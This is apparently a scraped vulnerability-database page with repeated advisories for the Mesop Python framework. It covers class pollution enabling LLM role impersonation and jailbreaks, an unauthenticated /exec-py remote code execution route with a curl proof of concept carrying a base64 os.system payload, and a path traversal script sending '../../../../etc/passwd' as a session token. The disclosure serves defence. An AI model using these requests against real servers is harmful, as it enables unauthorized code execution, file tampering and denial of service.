Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 28, 2024

0.12.7 patch

3 CVEs

CVE-2025-30358 PYSEC-2026-1624 GHSA-f3mf-hm6v-jfhh Jul 07, 2026

Mesop Class Pollution vulnerability leads to DoS and Jailbreak attacks

8.1 / 10

High

Network Low Low None Unchanged None High High

From @jackfromeast and @superboy-zjc: We have identified a class pollution vulnerability in Mesop (<= 0.14.0) application that allows attackers to overwrite global variables and class attributes in certain Mesop modules during runtime. This vulnerability could directly lead to a denial of service (DoS) attack against the server. Additionally, it could also result in other severe consequences given the application's implementation, such as identity confusion, where an attacker could impersonate an assistant or system role within conversations. This impersonation could potentially enable jailbreak attacks when interacting with large language models (LLMs).

Just like the Javascript's prototype pollution, this vulnerability could leave a way for attackers to manipulate the intended data-flow or control-flow of the application at runtime and lead to severe consequnces like RCE when gadgets are available.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 59 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0

Fixed in


          0.14.1

References

Updated Jul 07, 2026 · Source: OSV.dev

CVE-2026-33057 PYSEC-2026-412 GHSA-gjgx-rvqr-6w6v Jun 29, 2026

Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

9.8 / 10

Critical

Network Low None None Unchanged High High High

Summary

An explicit web endpoint inside the ai/ testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

Details

The AI codebase package includes a lightweight debugging Flask server inside ai/sandbox/wsgi_app.py. The /exec-py route accepts base_64 encoded raw string payloads inside the code parameter natively evaluated by a basic POST web request. It saves it rapidly to the operating system logic path and injects it recursively using execute_module(module_path...).

 # ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed

PoC

# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
 -H "Content-Type: application/x-www-form-urlencoded" \
 -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker

Impact

This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

CVE-2026-33054 PYSEC-2026-411 GHSA-8qvf-mr4w-9x2c Jun 29, 2026

Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

10.0 / 10

Critical

Network Low None None Changed High High High

Summary

A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted state_token through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

Details

When the framework is configured to use the disk-based session backend (FileStateSessionBackend), the user's state_token actively dictates where the runtime session state is physically saved or queried natively on disk. In mesop/server/server.py, specifically the ui_stream endpoint, the event.state_token is collected directly from the untrusted incoming protobuf message struct: mesop.protos.ui_pb2.UserEvent. Because this is unconditionally passed to FileStateSessionBackend._make_file_path(self, token), it evaluates standard path operators (e.g. ../../../).

# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)

Python's standard library natively resolves OS traversal semantics allowing full escape from the base_dir destination intent.

PoC

An attacker can utilize Python to craft and send a malicious Protobuf payload to the /ui stream.

import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
 # Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
 headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
 )

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
 print(response.content)

Impact

This vulnerability heavily exposes systems hosted utilizing FileStateSessionBackend. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.

Affected versions


          0.0.1


          0.10.0


          0.10.0rc0


          0.10.0rc1


          0.10.0rc2


          0.11.0


          0.11.0rc0


          0.11.1


          0.12.0


          0.12.0rc0


          0.12.1


          0.12.10b1

+ 80 more


            0.12.10b2


            0.12.10b3


            0.12.10rc1


            0.12.1rc0


            0.12.2


            0.12.3


            0.12.3rc0


            0.12.4


            0.12.4rc0


            0.12.5


            0.12.5b1


            0.12.5rc1


            0.12.6


            0.12.6rc1


            0.12.7


            0.12.7b1


            0.12.7rc1


            0.12.8


            0.12.8b1


            0.12.8rc1


            0.12.9


            0.12.9rc1


            0.13.0


            0.13.0rc1


            0.14.0


            0.14.1


            0.14.1rc1


            0.14.2b1


            0.14.2b2


            0.14.2rc1


            0.14rc1


            0.3.1


            0.3.2


            0.3.3


            0.3.4


            0.4.0


            0.4.1


            0.4.2


            0.5.0


            0.5.1


            0.5.2


            0.5.3


            0.5.4


            0.5.5


            0.5.6


            0.6.0


            0.7.0


            0.7.1


            0.7.2


            0.8.0


            0.8.0rc0


            0.9.0


            0.9.0rc1


            0.9.1


            0.9.1rc1


            0.9.2


            0.9.2rc1


            0.9.3


            0.9.3rc0


            0.9.4


            0.9.4rc0


            0.9.5


            0.9.5rc0


            1.0.0


            1.0.0rc1


            1.0.0rc2


            1.0.1


            1.0.1rc1


            1.1.0


            1.1.0rc1


            1.1.1


            1.1.1rc1


            1.1.1rc2


            1.1.1rc3


            1.2.0


            1.2.0rc1


            1.2.1


            1.2.1rc1


            1.2.2


            1.2.2rc1

Fixed in


          1.2.3

References

Updated Jul 13, 2026 · Source: OSV.dev

Oct 20, 2024

Activity

Reach

Details